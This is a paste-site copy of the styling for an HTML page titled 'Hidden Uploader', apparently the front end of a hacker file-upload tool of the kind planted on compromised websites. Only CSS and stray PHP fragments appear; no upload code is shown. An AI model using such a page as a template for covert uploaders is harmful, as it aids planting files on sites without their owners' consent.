<html>
<head>
<center>
<title>Hidden Uploader</title>
<meta name='author' content='Hidden uploader by firewall21'>
<meta charset="UTF-8">
<center><style type='text/css'>
@import url(https://fonts.googleapis.com/css?family=Ubuntu);
html {
    background-image: url(https://4.bp.blogspot.com/-KqUUgWYq9H4/WoQoPNm8TiI/AAAAAAAAALc/rt2s32QAc-IJcfMd34mEMSfxk0bbfCipQCLcBGAs/s1600/Lelouch.Lamperouge.full.27436.jpg);    color: white;
    font-family:'ubuntu';
    font-size: 13px;
    width: 100%;
    background-color: black;
    background-position: center;
    background-repeat: no-repeat;
    background-size: cover;
    background-attachment: fixed;
}
li {
    display: inline;
    margin: 5px;
    padding: 5px;
}
table, th, td {
    border-collapse:collapse;
    font-family: Tahoma, Geneva, sans-serif;
    background: transparent;
    font-family: 'Ubuntu';
    font-size: 13px;
}
.table_home, .th_home, .td_home {
    border: 1px solid #1435DD;
}
th {
    padding: 10px;
}
a {
    color: #ffffff;
    text-decoration: none;
}
a:hover {
    color: gold;
    text-decoration: underline;
}
b {
    color: gold;
}
input[type=text], input[type=password],input[type=submit] {
    background: transparent; 
    color: #ffffff; 
    border: 1px solid #ffffff; 
    margin: 5px auto;
    padding-left: 5px;
    font-family: 'abel';
    font-size: 13px;
}
textarea {
    border: 1px solid #ffffff;
    width: 100%;
    height: 400px;
    padding-left: 5px;
    margin: 10px auto;
    resize: none;
    background: black;
    color: #ffffff;
    font-family: Tahoma;
    font-size: 14px;
}
select {
    width: 152px;
    background: #000000; 
    color: cyan; 
    border: 1px solid #ffffff; 
    margin: 5px auto;
    padding-left: 5px;
    font-family: 'abel';
    font-size: 13px;
}
option:hover {
    background: cyan;
    color: #dc00ff;
}

</style>
</head>
<style type='text/css'>
@import url('https://fonts.googleapis.com/css?family=Jolly+Lodger');
html { font-family: 'Times New Roman';
    font-size: 12px;
    width: 100%;
}
li {
    display: inline;
    margin: 2px;
    padding: 2px;
}

#menu{
    background:none;
    margin:8px 2px 4px 2px;
}
#menu a {
                padding:2px 10px;  
                margin:0; 
                background:#000080; 
                text-decoration:none; 
                letter-spacing:2px; 
                padding: 2px 10px;
                margin: 0;
                background:#000080;
                text-decoration: none;
                letter-spacing: 2px;
                border-radius: 2px;
                border-bottom: 2px solid #B5AFAF;
                border-top: 2px solid #B5AFAF;
                border-right: 2px solid darkblue;
                border-left: 2px solid darkblue;
                            -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}

       #menu a:hover {
            background:#180000; 
            border-bottom:0px solid #333333; 
            border-top:0px solid #333333; 
       }
table tr:first-child{   
    background: #800080;
    text-align: center;
    color: white;
}
table, th, td {
    border-collapse:collapse;
    font-family: Tahoma, Geneva, sans-serif;
    background: transparent;
    font-family: 'Share Tech Mono';
    font-size: 14px;
}
.table_home, .th_home, .td_home {
    border: 1px solid blue;
}
th {
    padding: 10px;
}
a {
    color: aqua;
    text-decoration: none;
}
a:hover {
    color: yellow;
    text-decoration: underline;
}
b {
    color: blue;
}
       #menu a:hover {
            background:#180000; 
            border-bottom:0px solid #333333; 
            border-top:0px solid #333333; 
       }
#menu a:hover{
    background:#191919;
    border-bottom:1px solid #333333;
    border-top:1px solid #333333;
}
</style>
</head>
<center>")));
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement